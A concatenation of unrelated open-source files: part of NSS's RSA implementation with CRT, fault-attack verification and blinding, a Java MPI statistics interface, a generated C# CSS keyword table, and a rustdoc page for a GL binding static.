mp_mod(c, &p, &ctmp) ); CHECK_MPI_OK( mp_exptmod(&ctmp, &d_p, &p, &m1) ); /* 2. m2 = c**d_q mod q */ CHECK_MPI_OK( mp_mod(c, &q, &ctmp) ); CHECK_MPI_OK( mp_exptmod(&ctmp, &d_q, &q, &m2) ); /* 3. h = (m1 - m2) * qInv mod p */ CHECK_MPI_OK( mp_submod(&m1, &m2, &p, &h) ); CHECK_MPI_OK( mp_mulmod(&h, &qInv, &p, &h) ); /* 4. m = m2 + h * q */ CHECK_MPI_OK( mp_mul(&h, &q, m) ); CHECK_MPI_OK( mp_add(m, &m2, m) ); cleanup: mp_clear(&p); mp_clear(&q); mp_clear(&d_p); mp_clear(&d_q); mp_clear(&qInv); mp_clear(&m1); mp_clear(&m2); mp_clear(&h); mp_clear(&ctmp); if (err) { MP_TO_SEC_ERROR(err); rv = SECFailure; } return rv; } /* ** An attack against RSA CRT was described by Boneh, DeMillo, and Lipton in: ** "On the Importance of Eliminating Errors in Cryptographic Computations", ** http://theory.stanford.edu/~dabo/papers/faults.ps.gz ** ** As a defense against the attack, carry out the private key operation, ** followed up with a public key operation to invert the result. ** Verify that result against the input. */ static SECStatus rsa_PrivateKeyOpCRTCheckedPubKey(RSAPrivateKey *key, mp_int *m, mp_int *c) { mp_int n, e, v; mp_err err = MP_OKAY; SECStatus rv = SECSuccess; MP_DIGITS(&n) = 0; MP_DIGITS(&e) = 0; MP_DIGITS(&v) = 0; CHECK_MPI_OK( mp_init(&n) ); CHECK_MPI_OK( mp_init(&e) ); CHECK_MPI_OK( mp_init(&v) ); CHECK_SEC_OK( rsa_PrivateKeyOpCRTNoCheck(key, m, c) ); SECITEM_TO_MPINT(key->modulus, &n); SECITEM_TO_MPINT(key->publicExponent, &e); /* Perform a public key operation v = m ** e mod n */ CHECK_MPI_OK( mp_exptmod(m, &e, &n, &v) ); if (mp_cmp(&v, c) != 0) { rv = SECFailure; } cleanup: mp_clear(&n); mp_clear(&e); mp_clear(&v); if (err) { MP_TO_SEC_ERROR(err); rv = SECFailure; } return rv; } static PRCallOnceType coBPInit = { 0, 0, 0 }; static PRStatus init_blinding_params_list(void) { blindingParamsList.lock = PZ_NewLock(nssILockOther); if (!blindingParamsList.lock) { PORT_SetError(SEC_ERROR_NO_MEMORY); return PR_FAILURE; } PR_INIT_CLIST(&blindingParamsList.head); return PR_SUCCESS; } static SECStatus generate_blinding_params(struct RSABlindingParamsStr *rsabp, RSAPrivateKey *key, mp_int *n, unsigned int modLen) { SECStatus rv = SECSuccess; mp_int e, k; mp_err err = MP_OKAY; unsigned char *kb = NULL; MP_DIGITS(&e) = 0; MP_DIGITS(&k) = 0; CHECK_MPI_OK( mp_init(&e) ); CHECK_MPI_OK( mp_init(&k) ); SECITEM_TO_MPINT(key->publicExponent, &e); /* generate random k < n */ kb = PORT_Alloc(modLen); if (!kb) { PORT_SetError(SEC_ERROR_NO_MEMORY); goto cleanup; } CHECK_SEC_OK( RNG_GenerateGlobalRandomBytes(kb, modLen) ); CHECK_MPI_OK( mp_read_unsigned_octets(&k, kb, modLen) ); /* k < n */ CHECK_MPI_OK( mp_mod(&k, n, &k) ); /* f = k**e mod n */ CHECK_MPI_OK( mp_exptmod(&k, &e, n, &rsabp->f) ); /* g = k**-1 mod n */ CHECK_MPI_OK( mp_invmod(&k, n, &rsabp->g) ); /* Initialize the counter for this (f, g) */ rsabp->counter = RSA_BLINDING_PARAMS_MAX_REUSE; cleanup: if (kb) PORT_ZFree(kb, modLen); mp_clear(&k); mp_clear(&e); if (err) { MP_TO_SEC_ERROR(err); rv = SECFailure; } return rv; } static SECStatus init_blinding_params(struct RSABlindingParamsStr *rsabp, RSAPrivateKey *key, mp_int *n, unsigned int modLen) { SECStatus rv = SECSuccess; mp_err err = MP_OKAY; MP_DIGITS(&rsabp->f) = 0; MP_DIGITS(&rsabp->g) = 0; /* initialize blinding parameters */ CHECK_MPI_OK( mp_init(&rsabp->f) ); CHECK_MPI_OK( mp_init(&rsabp->g) ); /* List elements are keyed using the modulus */ SECITEM_CopyItem(NULL, &rsabp->modulus, &key->modulus); CHECK_SEC_OK( generate_blinding_params(rsabp, key, n, modLen) ); return SECSuccess; cleanup: mp_clear(&rsabp->f); mp_clear(&rsabp->g); if (err) { MP_TO_SEC_ERROR(err); rv = SECFailure; } return rv; } static SECStatus get_blinding_params(RSAPrivateKey *key, mp_int *n, unsigned int modLen, mp_int *f, mp_int *g) { SECStatus rv = SECSuccess; mp_err err = MP_OKAY; int cmp; PRCList *el; struct RSABlindingParamsStr *rsabp = NULL; /* Init the list if neccessary (the init function is only called once!) */ if (blindingParamsList.lock == NULL) { PORT_SetError(SEC_ERROR_LIBRARY_FAILURE); return SECFailure; } /* Acquire the list lock */ PZ_Lock(blindingParamsList.lock); /* Walk the list looking for the private key */ for (el = PR_NEXT_LINK(&blindingParamsList.head); el != &blindingParamsList.head; el = PR_NEXT_LINK(el)) { rsabp = (struct RSABlindingParamsStr *)el; cmp = SECITEM_CompareItem(&rsabp->modulus, &key->modulus); if (cmp == 0) { /* Check the usage counter for the parameters */ if (--rsabp->counter <= 0) { /* Regenerate the blinding parameters */ CHECK_SEC_OK( generate_blinding_params(rsabp, key, n, modLen) ); } /* Return the parameters */ CHECK_MPI_OK( mp_copy(&rsabp->f, f) ); CHECK_MPI_OK( mp_copy(&rsabp->g, g) ); /* Now that the params are located, release the list lock. */ PZ_Unlock(blindingParamsList.lock); /* XXX when fails? */ return SECSuccess; } else if (cmp > 0) { /* The key is not in the list. Break to param creation. */ break; } } /* At this point, the key is not in the list. el should point to the ** list element that this key should be inserted before. NOTE: the list ** lock is still held, so there cannot be a race condition here. */ rsabp = (struct RSABlindingParamsStr *) PORT_ZAlloc(sizeof(struct RSABlindingParamsStr)); if (!rsabp) { PORT_SetError(SEC_ERROR_NO_MEMORY); goto cleanup; } /* Initialize the list pointer for the element */ PR_INIT_CLIST(&rsabp->link); /* Initialize the blinding parameters ** This ties up the list lock while doing some heavy, element-specific ** operations, but we don't want to insert the element until it is valid, ** which requires computing the blinding params. If this proves costly, ** it could be done after the list lock is released, and then if it fails ** the lock would have to be reobtained and the invalid element removed. */ rv = init_blinding_params(rsabp, key, n, modLen); if (rv != SECSuccess) { PORT_ZFree(rsabp, sizeof(struct RSABlindingParamsStr)); goto cleanup; } /* Insert the new element into the list ** If inserting in the middle of the list, el points to the link ** to insert before. Otherwise, the link needs to be appended to ** the end of the list, which is the same as inserting before the ** head (since el would have looped back to the head). */ PR_INSERT_BEFORE(&rsabp->link, el); /* Return the parameters */ CHECK_MPI_OK( mp_copy(&rsabp->f, f) ); CHECK_MPI_OK( mp_copy(&rsabp->g, g) ); /* Release the list lock */ PZ_Unlock(blindingParamsList.lock); /* XXX when fails? */ return SECSuccess; cleanup: /* It is possible to reach this after the lock is already released. ** Ignore the error in that case. */ PZ_Unlock(blindingParamsList.lock); if (err) { MP_TO_SEC_ERROR(err); rv = SECFailure; } return SECFailure; } /* ** Perform a raw private-key operation ** Length of input and output buffers are equal to key's modulus len. */ static SECStatus rsa_PrivateKeyOp(RSAPrivateKey *key, unsigned char *output, const unsigned char *input, PRBool check) { unsigned int modLen; unsigned int offset; SECStatus rv = SECSuccess; mp_err err; mp_int n, c, m; mp_int f, g; if (!key || !output || !input) { PORT_SetError(SEC_ERROR_INVALID_ARGS); return SECFailure; } /* check input out of range (needs to be in range [0..n-1]) */ modLen = rsa_modulusLen(&key->modulus); offset = (key->modulus.data[0] == 0) ? 1 : 0; /* may be leading 0 */ if (memcmp(input, key->modulus.data + offset, modLen) >= 0) { PORT_SetError(SEC_ERROR_INVALID_ARGS); return SECFailure; } MP_DIGITS(&n) = 0; MP_DIGITS(&c) = 0; MP_DIGITS(&m) = 0; MP_DIGITS(&f) = 0; MP_DIGITS(&g) = 0; CHECK_MPI_OK( mp_init(&n) ); CHECK_MPI_OK( mp_init(&c) ); CHECK_MPI_OK( mp_init(&m) ); CHECK_MPI_OK( mp_init(&f) ); CHECK_MPI_OK( mp_init(&g) ); SECITEM_TO_MPINT(key->modulus, &n); OCTETS_TO_MPINT(input, &c, modLen); /* If blinding, compute pre-image of ciphertext by multiplying by ** blinding factor */ if (nssRSAUseBlinding) { CHECK_SEC_OK( get_blinding_params(key, &n, modLen, &f, &g) ); /* c' = c*f mod n */ CHECK_MPI_OK( mp_mulmod(&c, &f, &n, &c) ); } /* Do the private key operation m = c**d mod n */ if ( key->prime1.len == 0 || key->prime2.len == 0 || key->exponent1.len == 0 || key->exponent2.len == 0 || key->coefficient.len == 0) { CHECK_SEC_OK( rsa_PrivateKeyOpNoCRT(key, &m, &c, &n, modLen) ); } else if (check) { CHECK_SEC_OK( rsa_PrivateKeyOpCRTCheckedPubKey(key, &m, &c) ); } else { CHECK_SEC_OK( rsa_PrivateKeyOpCRTNoCheck(key, &m, &c) ); } /* If blinding, compute post-image of plaintext by multiplying by ** blinding factor */ if (nssRSAUseBlinding) { /* m = m'*g mod n */ CHECK_MPI_OK( mp_mulmod(&m, &g, &n, &m) ); } err = mp_to_fixlen_octets(&m, output, modLen); if (err >= 0) err = MP_OKAY; cleanup: mp_clear(&n); mp_clear(&c); mp_clear(&m); mp_clear(&f); mp_clear(&g); if (err) { MP_TO_SEC_ERROR(err); rv = SECFailure; } return rv; } SECStatus RSA_PrivateKeyOp(RSAPrivateKey *key, unsigned char *output, const unsigned char *input) { return rsa_PrivateKeyOp(key, output, input, PR_FALSE); } SECStatus RSA_PrivateKeyOpDoubleChecked(RSAPrivateKey *key, unsigned char *output, const unsigned char *input) { return rsa_PrivateKeyOp(key, output, input, PR_TRUE); } static SECStatus swap_in_key_value(PRArenaPool *arena, mp_int *mpval, SECItem *buffer) { int len; mp_err err = MP_OKAY; memset(buffer->data, 0, buffer->len); len = mp_unsigned_octet_size(mpval); if (len <= 0) return SECFailure; if ((unsigned int)len <= buffer->len) { /* The new value is no longer than the old buffer, so use it */ err = mp_to_unsigned_octets(mpval, buffer->data, len); if (err >= 0) err = MP_OKAY; buffer->len = len; } else if (arena) { /* The new value is longer, but working within an arena */ (void)SECITEM_AllocItem(arena, buffer, len); err = mp_to_unsigned_octets(mpval, buffer->data, len); if (err >= 0) err = MP_OKAY; } else { /* The new value is longer, no arena, can't handle this key */ return SECFailure; } return (err == MP_OKAY) ? SECSuccess : SECFailure; } SECStatus RSA_PrivateKeyCheck(RSAPrivateKey *key) { mp_int p, q, n, psub1, qsub1, e, d, d_p, d_q, qInv, res; mp_err err = MP_OKAY; SECStatus rv = SECSuccess; MP_DIGITS(&n) = 0; MP_DIGITS(&psub1)= 0; MP_DIGITS(&qsub1)= 0; MP_DIGITS(&e) = 0; MP_DIGITS(&d) = 0; MP_DIGITS(&d_p) = 0; MP_DIGITS(&d_q) = 0; MP_DIGITS(&qInv) = 0; MP_DIGITS(&res) = 0; CHECK_MPI_OK( mp_init(&n) ); CHECK_MPI_OK( mp_init(&p) ); CHECK_MPI_OK( mp_init(&q) ); CHECK_MPI_OK( mp_init(&psub1)); CHECK_MPI_OK( mp_init(&qsub1)); CHECK_MPI_OK( mp_init(&e) ); CHECK_MPI_OK( mp_init(&d) ); CHECK_MPI_OK( mp_init(&d_p) ); CHECK_MPI_OK( mp_init(&d_q) ); CHECK_MPI_OK( mp_init(&qInv) ); CHECK_MPI_OK( mp_init(&res) ); SECITEM_TO_MPINT(key->modulus, &n); SECITEM_TO_MPINT(key->prime1, &p); SECITEM_TO_MPINT(key->prime2, &q); SECITEM_TO_MPINT(key->publicExponent, &e); SECITEM_TO_MPINT(key->privateExponent, &d); SECITEM_TO_MPINT(key->exponent1, &d_p); SECITEM_TO_MPINT(key->exponent2, &d_q); SECITEM_TO_MPINT(key->coefficient, &qInv); /* p > q */ if (mp_cmp(&p, &q) <= 0) { /* mind the p's and q's (and d_p's and d_q's) */ SECItem tmp; mp_exch(&p, &q); mp_exch(&d_p,&d_q); tmp = key->prime1; key->prime1 = key->prime2; key->prime2 = tmp; tmp = key->exponent1; key->exponent1 = key->exponent2; key->exponent2 = tmp; } #define VERIFY_MPI_EQUAL(m1, m2) \ if (mp_cmp(m1, m2) != 0) { \ rv = SECFailure; \ goto cleanup; \ } #define VERIFY_MPI_EQUAL_1(m) \ if (mp_cmp_d(m, 1) != 0) { \ rv = SECFailure; \ goto cleanup; \ } /* * The following errors cannot be recovered from. */ /* n == p * q */ CHECK_MPI_OK( mp_mul(&p, &q, &res) ); VERIFY_MPI_EQUAL(&res, &n); /* gcd(e, p-1) == 1 */ CHECK_MPI_OK( mp_sub_d(&p, 1, &psub1) ); CHECK_MPI_OK( mp_gcd(&e, &psub1, &res) ); VERIFY_MPI_EQUAL_1(&res); /* gcd(e, q-1) == 1 */ CHECK_MPI_OK( mp_sub_d(&q, 1, &qsub1) ); CHECK_MPI_OK( mp_gcd(&e, &qsub1, &res) ); VERIFY_MPI_EQUAL_1(&res); /* d*e == 1 mod p-1 */ CHECK_MPI_OK( mp_mulmod(&d, &e, &psub1, &res) ); VERIFY_MPI_EQUAL_1(&res); /* d*e == 1 mod q-1 */ CHECK_MPI_OK( mp_mulmod(&d, &e, &qsub1, &res) ); VERIFY_MPI_EQUAL_1(&res); /* * The following errors can be recovered from. */ /* d_p == d mod p-1 */ CHECK_MPI_OK( mp_mod(&d, &psub1, &res) ); if (mp_cmp(&d_p, &res) != 0) { /* swap in the correct value */ CHECK_SEC_OK( swap_in_key_value(key->arena, &res, &key->exponent1) ); } /* d_q == d mod q-1 */ CHECK_MPI_OK( mp_mod(&d, &qsub1, &res) ); if (mp_cmp(&d_q, &res) != 0) { /* swap in the correct value */ CHECK_SEC_OK( swap_in_key_value(key->arena, &res, &key->exponent2) ); } /* q * q**-1 == 1 mod p */ CHECK_MPI_OK( mp_mulmod(&q, &qInv, &p, &res) ); if (mp_cmp_d(&res, 1) != 0) { /* compute the correct value */ CHECK_MPI_OK( mp_invmod(&q, &p, &qInv) ); CHECK_SEC_OK( swap_in_key_value(key->arena, &qInv, &key->coefficient) ); } cleanup: mp_clear(&n); mp_clear(&p); mp_clear(&q); mp_clear(&psub1); mp_clear(&qsub1); mp_clear(&e); mp_clear(&d); mp_clear(&d_p); mp_clear(&d_q); mp_clear(&qInv); mp_clear(&res); if (err) { MP_TO_SEC_ERROR(err); rv = SECFailure; } return rv; } static SECStatus RSA_Init(void) { if (PR_CallOnce(&coBPInit, init_blinding_params_list) != PR_SUCCESS) { PORT_SetError(SEC_ERROR_LIBRARY_FAILURE); return SECFailure; } return SECSuccess; } SECStatus BL_Init(void) { return RSA_Init(); } /* cleanup at shutdown */ void RSA_Cleanup(void) { if (!coBPInit.initialized) return; while (!PR_CLIST_IS_EMPTY(&blindingParamsList.head)) { struct RSABlindingParamsStr * rsabp = (struct RSABlindingParamsStr *) PR_LIST_HEAD(&blindingParamsList.head); PR_REMOVE_LINK(&rsabp->link); mp_clear(&rsabp->f); mp_clear(&rsabp->g); SECITEM_FreeItem(&rsabp->modulus,PR_FALSE); PORT_Free(rsabp); } if (blindingParamsList.lock) { SKIP_AFTER_FORK(PZ_DestroyLock(blindingParamsList.lock)); blindingParamsList.lock = NULL; } coBPInit.initialized = 0; coBPInit.inProgress = 0; coBPInit.status = 0; } /* * need a central place for this function to free up all the memory that * free_bl may have allocated along the way. Currently only RSA does this, * so I've put it here for now. */ void BL_Cleanup(void) { RSA_Cleanup(); } PRBool parentForkedAfterC_Initialize; /* * Set fork flag so it can be tested in SKIP_AFTER_FORK on relevant platforms. */ void BL_SetForkState(PRBool forked) { parentForkedAfterC_Initialize = forked; }
bunnyblue/nss-3.12.6-android
mozilla/security/nss/lib/freebl/rsa.c
C
mpl-2.0
30,206
/** * Copyright (c) 2016, All partners of the iTesla project (http://www.itesla-project.eu/consortium) * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ package eu.itesla_project.computation.mpi; import java.io.Writer; import java.util.List; import java.util.Map; import org.joda.time.DateTime; /** * * @author Geoffroy Jamgotchian <geoffroy.jamgotchian at rte-france.com> */ public interface MpiStatistics extends AutoCloseable { /** * Log a common file transfer. * * @param fileName the file name * @param chunk chunk number * @param size file size in bytes * @param duration duration of the transfer in ms */ void logCommonFileTransfer(String fileName, int chunk, long size, long duration); /** * Log a job start. * * @param jobId the job id * @param commandId the command id * @param tags tags associated to the job */ void logJobStart(int jobId, String commandId, Map<String, String> tags); /** * Log a job end. * * @param jobId the job id */ void logJobEnd(int jobId); /** * Log a task start. * * @param taskId the task id * @param jobId the job id * @param taskIndex index of the task in the job * @param startTime task start time * @param slaveRank slave rank that has managed the task * @param slaveThread slave thread that has managed the task * @param inputMessageSize input message size in bytes */ void logTaskStart(int taskId, int jobId, int taskIndex, DateTime startTime, int slaveRank, int slaveThread, long inputMessageSize); /** * Log a task end. * * @param taskId the task id * @param taskDuration task duration in ms * @param commandsDuration duration in ms of all commands of the task * @param dataTransferDuration part of the task duration corresponding to data transfer in ms * @param outputMessageSize output message size in bytes * @param workingDataSize working data size in bytes on slave side * @param exitCode exit code of the command */ void logTaskEnd(int taskId, long taskDuration, List<Long> commandsDuration, long dataTransferDuration, long outputMessageSize, long workingDataSize, int exitCode); /** * Export tasks statistics to CSV. * * @param writer */ void exportTasksToCsv(Writer writer); }
itesla/ipst-core
computation-mpi/src/main/java/eu/itesla_project/computation/mpi/MpiStatistics.java
Java
mpl-2.0
2,552
// // Generated file. Do not edit manually. // using System.Collections.Generic; using Alba.CsCss.Internal.Extensions; namespace Alba.CsCss.Style { internal partial class nsCSSKeywords { private static readonly string[] kCSSRawKeywords = { "-moz-activehyperlinktext", "-moz-all", "-moz-alt-content", "-moz-anchor-decoration", "-moz-arabic-indic", "-moz-available", "-moz-bengali", "-moz-box", "-moz-button", "-moz-buttondefault", "-moz-buttonhoverface", "-moz-buttonhovertext", "-moz-cellhighlight", "-moz-cellhighlighttext", "-moz-center", "-moz-cjk-earthly-branch", "-moz-cjk-heavenly-stem", "-moz-combobox", "-moz-comboboxtext", "-moz-block-height", "-moz-deck", "-moz-default-background-color", "-moz-default-color", "-moz-desktop", "-moz-devanagari", "-moz-dialog", "-moz-dialogtext", "-moz-document", "-moz-dragtargetzone", "-moz-element", "-moz-eventreerow", "-moz-ethiopic-halehame", "-moz-ethiopic-numeric", "-moz-ethiopic-halehame-am", "-moz-ethiopic-halehame-ti-er", "-moz-ethiopic-halehame-ti-et", "-moz-field", "-moz-fieldtext", "-moz-fit-content", "-moz-grabbing", "-moz-grab", "-moz-grid-group", "-moz-grid-line", "-moz-grid", "-moz-groupbox", "-moz-gujarati", "-moz-gurmukhi", "-moz-hangul-consonant", "-moz-hidden-unscrollable", "-moz-hangul", "-moz-hyperlinktext", "-moz-html-cellhighlight", "-moz-html-cellhighlighttext", "-moz-image-rect", "-moz-info", "-moz-initial", "-moz-inline-box", "-moz-inline-grid", "-moz-inline-stack", "-moz-isolate", "-moz-isolate-override", "-moz-japanese-formal", "-moz-japanese-informal", "-moz-kannada", "-moz-khmer", "-moz-lao", "-moz-left", "-moz-list", "-moz-mac-alternateprimaryhighlight", "-moz-mac-chrome-active", "-moz-mac-chrome-inactive", "-moz-mac-focusring", "-moz-mac-menuselect", "-moz-mac-menushadow", "-moz-mac-menutextdisable", "-moz-mac-menutextselect", "-moz-mac-disabledtoolbartext", "-moz-mac-secondaryhighlight", "-moz-malayalam", "-moz-max-content", "-moz-menuhover", "-moz-menuhovertext", "-moz-menubartext", "-moz-menubarhovertext", "-moz-middle-with-baseline", "-moz-min-content", "-moz-myanmar", "-moz-nativehyperlinktext", "-moz-none", "-moz-objectfill", "-moz-objectfillopacity", "-moz-objectstroke", "-moz-objectstrokeopacity", "-moz-objectvalue", "-moz-oddtreerow", "-moz-oriya", "-moz-persian", "-moz-plaintext", "-moz-popup", "-moz-pre-discard-newlines", "-moz-pull-down-menu", "-moz-right", "-moz-scrollbars-horizontal", "-moz-scrollbars-none", "-moz-scrollbars-vertical", "-moz-show-background", "-moz-simp-chinese-formal", "-moz-simp-chinese-informal", "-moz-stack", "-moz-tamil", "-moz-telugu", "-moz-thai", "-moz-trad-chinese-formal", "-moz-trad-chinese-informal", "-moz-urdu", "-moz-use-system-font", "-moz-use-text-color", "-moz-visitedhyperlinktext", "-moz-window", "-moz-workspace", "-moz-zoom-in", "-moz-zoom-out", "absolute", "active", "activeborder", "activecaption", "alias", "all", "all-scroll", "alpha", "alternate", "alternate-reverse", "always", "appworkspace", "armenian", "auto", "avoid", "background", "backwards", "balance", "baseline", "bidi-override", "blink", "block", "block-axis", "bold", "bolder", "border-box", "both", "bottom", "bottom-outside", "bounding-box", "break-all", "break-word", "button", "buttonface", "buttonhighlight", "buttonshadow", "buttontext", "capitalize", "caption", "captiontext", "cell", "center", "ch", "circle", "cjk-ideographic", "clip", "close-quote", "closest-corner", "closest-side", "cm", "col-resize", "collapse", "column", "column-reverse", "condensed", "contain", "content-box", "context-menu", "continuous", "copy", "cover", "crop", "cross", "crosshair", "currentcolor", "dashed", "decimal", "decimal-leading-zero", "default", "deg", "dialog", "disabled", "disc", "dotted", "double", "e-resize", "each-box", "ease", "ease-in", "ease-in-out", "ease-out", "element", "elements", "ellipse", "ellipsis", "em", "embed", "enabled", "end", "ex", "expanded", "extra-condensed", "extra-expanded", "ew-resize", "farthest-side", "farthest-corner", "fill", "fixed", "flat", "flex", "flex-end", "flex-start", "forwards", "full-width", "georgian", "grad", "graytext", "groove", "hebrew", "help", "hidden", "hide", "highlight", "highlighttext", "hiragana", "hiragana-iroha", "horizontal", "hz", "icon", "ignore", "in", "interlace", "inactive", "inactiveborder", "inactivecaption", "inactivecaptiontext", "infinite", "infobackground", "infotext", "inherit", "initial", "inline", "inline-axis", "inline-block", "inline-flex", "inline-table", "inset", "inside", "interpolatematrix", "italic", "justify", "katakana", "katakana-iroha", "keep-all", "khz", "landscape", "large", "larger", "left", "lighter", "line-through", "linear", "list-item", "logical", "lower-alpha", "lower-greek", "lower-latin", "lower-roman", "lowercase", "ltr", "luminance", "manual", "margin-box", "markers", "matrix", "matrix3d", "medium", "menu", "menutext", "message-box", "middle", "mix", "mm", "move", "ms", "n-resize", "narrower", "ne-resize", "nesw-resize", "no-close-quote", "no-drop", "no-open-quote", "no-repeat", "none", "normal", "not-allowed", "nowrap", "ns-resize", "nw-resize", "nwse-resize", "oblique", "open-quote", "outset", "outside", "overline", "padding-box", "painted", "paused", "pc", "perspective", "physical", "pointer", "portrait", "pre", "pre-wrap", "pre-line", "preserve-3d", "progress", "progressive", "pt", "px", "rad", "read-only", "read-write", "relative", "repeat", "repeat-x", "repeat-y", "reverse", "ridge", "right", "rotate", "rotate3d", "rotatex", "rotatey", "rotatez", "round", "row", "row-resize", "row-reverse", "rtl", "running", "s", "s-resize", "scale", "scale3d", "scalex", "scaley", "scalez", "scroll", "scrollbar", "scrollbar-small", "se-resize", "select-after", "select-all", "select-before", "select-menu", "select-same", "semi-condensed", "semi-expanded", "separate", "show", "skew", "skewx", "skewy", "small", "small-caps", "small-caption", "smaller", "soft", "solid", "space-around", "space-between", "square", "start", "static", "status-bar", "step-end", "step-start", "stretch", "stretch-to-fit", "stroke", "sub", "super", "sw-resize", "table", "table-caption", "table-cell", "table-column", "table-column-group", "table-footer-group", "table-header-group", "table-row", "table-row-group", "text", "text-bottom", "text-top", "thick", "thin", "threeddarkshadow", "threedface", "threedhighlight", "threedlightshadow", "threedshadow", "toggle", "top", "top-outside", "translate", "translate3d", "translatex", "translatey", "translatez", "transparent", "tri-state", "ultra-condensed", "ultra-expanded", "underline", "upper-alpha", "upper-latin", "upper-roman", "uppercase", "vertical", "vertical-text", "visible", "visiblefill", "visiblepainted", "visiblestroke", "w-resize", "wait", "wavy", "wider", "window", "windowframe", "windowtext", "write-only", "x-large", "x-small", "xx-large", "xx-small", "radio", "checkbox", "button-bevel", "toolbox", "toolbar", "toolbarbutton", "toolbargripper", "dualbutton", "toolbarbutton-dropdown", "button-arrow-up", "button-arrow-down", "button-arrow-next", "button-arrow-previous", "separator", "splitter", "statusbar", "statusbarpanel", "resizerpanel", "resizer", "listbox", "listitem", "treeview", "treeitem", "treetwisty", "treetwistyopen", "treeline", "treeheader", "treeheadercell", "treeheadersortarrow", "progressbar", "progressbar-vertical", "progresschunk", "progresschunk-vertical", "tab", "tabpanels", "tabpanel", "tab-scroll-arrow-back", "tab-scroll-arrow-forward", "tooltip", "spinner", "spinner-upbutton", "spinner-downbutton", "spinner-textfield", "scrollbarbutton-up", "scrollbarbutton-down", "scrollbarbutton-left", "scrollbarbutton-right", "scrollbartrack-horizontal", "scrollbartrack-vertical", "scrollbarthumb-horizontal", "scrollbarthumb-vertical", "sheet", "textfield", "textfield-multiline", "caret", "searchfield", "menubar", "menupopup", "menuitem", "checkmenuitem", "radiomenuitem", "menucheckbox", "menuradio", "menuseparator", "menuarrow", "menuimage", "menuitemtext", "menulist", "menulist-button", "menulist-text", "menulist-textfield", "meterbar", "meterchunk", "range", "range-thumb", "scale-horizontal", "scale-vertical", "scalethumb-horizontal", "scalethumb-vertical", "scalethumbstart", "scalethumbend", "scalethumbtick", "groupbox", "checkbox-container", "radio-container", "checkbox-label", "radio-label", "button-focus", "-moz-win-media-toolbox", "-moz-win-communications-toolbox", "-moz-win-browsertabbar-toolbox", "-moz-win-mediatext", "-moz-win-communicationstext", "-moz-win-glass", "-moz-win-borderless-glass", "-moz-window-titlebar", "-moz-window-titlebar-maximized", "-moz-window-frame-left", "-moz-window-frame-right", "-moz-window-frame-bottom", "-moz-window-button-close", "-moz-window-button-minimize", "-moz-window-button-maximize", "-moz-window-button-restore", "-moz-window-button-box", "-moz-window-button-box-maximized", "-moz-mac-unified-toolbar", "-moz-win-exclude-glass", "alphabetic", "bevel", "butt", "central", "crispedges", "evenodd", "geometricprecision", "hanging", "ideographic", "linearrgb", "mathematical", "miter", "no-change", "non-scaling-stroke", "nonzero", "optimizelegibility", "optimizequality", "optimizespeed", "reset-size", "srgb", "text-after-edge", "text-before-edge", "use-script", "-moz-crisp-edges", }; private static readonly Dictionary<string, int> gKeywordTable = kCSSRawKeywords.ToCaseInsensitiveNameTable(); } }
Athari/CsCss
Alba.CsCss/Style/Original/nsCSSKeywords.g.cs
C#
mpl-2.0
16,420
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="generator" content="rustdoc"> <meta name="description" content="API documentation for the Rust `Map2f` static in crate `gleam`."> <meta name="keywords" content="rust, rustlang, rust-lang, Map2f"> <title>gleam::gl::storage::Map2f - Rust</title> <link rel="stylesheet" type="text/css" href="../../../main.css"> </head> <body class="rustdoc"> <!--[if lte IE 8]> <div class="warning"> This old browser is unsupported and will most likely display funky things. </div> <![endif]--> <section class="sidebar"> <p class='location'><a href='../../index.html'>gleam</a>::<wbr><a href='../index.html'>gl</a>::<wbr><a href='index.html'>storage</a></p><script>window.sidebarCurrent = {name: 'Map2f', ty: 'static', relpath: ''};</script><script defer src="sidebar-items.js"></script> </section> <nav class="sub"> <form class="search-form js-only"> <div class="search-container"> <input class="search-input" name="search" autocomplete="off" placeholder="Click or press ‘S’ to search, ‘?’ for more options…" type="search"> </div> </form> </nav> <section id='main' class="content static"> <h1 class='fqn'><span class='in-band'><a href='../../index.html'>gleam</a>::<wbr><a href='../index.html'>gl</a>::<wbr><a href='index.html'>storage</a>::<wbr><a class='static' href=''>Map2f</a></span><span class='out-of-band'><span id='render-detail'> <a id="toggle-all-docs" href="javascript:void(0)" title="collapse all docs"> [<span class='inner'>&#x2212;</span>] </a> </span><a id='src-27609' class='srclink' href='../../../src/gleam///home/servo/buildbot/slave/doc/build/target/debug/build/gleam-9662459d59abad25/out/gl_bindings.rs.html#6127-6130' title='goto source code'>[src]</a></span></h1> <pre class='rust static'>pub static mut Map2f: <a class='struct' href='../../../gleam/gl/struct.FnPtr.html' title='gleam::gl::FnPtr'>FnPtr</a><code> = </code><code>FnPtr { f: super::missing_fn_panic as *const libc::c_void, is_loaded: false }</code></pre></section> <section id='search' class="content hidden"></section> <section class="footer"></section> <div id="help" class="hidden"> <div> <div class="shortcuts"> <h1>Keyboard Shortcuts</h1> <dl> <dt>?</dt> <dd>Show this help dialog</dd> <dt>S</dt> <dd>Focus the search field</dd> <dt>&larrb;</dt> <dd>Move up in search results</dd> <dt>&rarrb;</dt> <dd>Move down in search results</dd> <dt>&#9166;</dt> <dd>Go to active search result</dd> </dl> </div> <div class="infos"> <h1>Search Tricks</h1> <p> Prefix searches with a type followed by a colon (e.g. <code>fn:</code>) to restrict the search to a given type. </p> <p> Accepted types are: <code>fn</code>, <code>mod</code>, <code>struct</code>, <code>enum</code>, <code>trait</code>, <code>type</code>, <code>macro</code>, and <code>const</code>. </p> <p> Search functions by type signature (e.g. <code>vec -> usize</code>) </p> </div> </div> </div> <script> window.rootPath = "../../../"; window.currentCrate = "gleam"; window.playgroundUrl = ""; </script> <script src="../../../jquery.js"></script> <script src="../../../main.js"></script> <script async src="../../../search-index.js"></script> </body> </html>
susaing/doc.servo.org
gleam/gl/storage/static.Map2f.html
HTML
mpl-2.0
4,242
